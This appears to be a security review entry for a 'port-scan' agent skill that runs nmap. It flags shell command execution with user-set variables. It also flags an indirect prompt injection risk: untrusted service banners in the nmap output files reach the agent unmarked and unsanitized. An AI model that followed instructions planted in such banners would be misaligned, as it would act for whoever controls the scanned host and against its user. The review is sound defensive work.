The Agent Skills Directory

[COMMAND_EXECUTION]: The skill executes nmap shell commands to perform network scanning. It utilizes user-defined environment variables (SECSKILL_TARGET, SECSKILL_SCAN_SPEED, SECSKILL_TOP_PORTS) as arguments. The implementation includes basic shell quoting to mitigate command injection risks.
[INDIRECT_PROMPT_INJECTION]: The skill processes untrusted data from the network environment.
Ingestion points: The skill reads the content of nmap output files (e.g., quick_scan_${SAFE_NAME}.txt and service_scan_${SAFE_NAME}.txt) to identify open ports and services.
Boundary markers: None are present to distinguish between expected tool output and potentially malicious service banners or responses.
Capability inventory: The skill performs file system writes to an output directory and executes multiple shell commands via nmap.
Sanitization: The skill applies basic character translation (tr) for output filenames to prevent directory traversal in result files, but it does not sanitize the content of service banners retrieved during version detection.

port-scan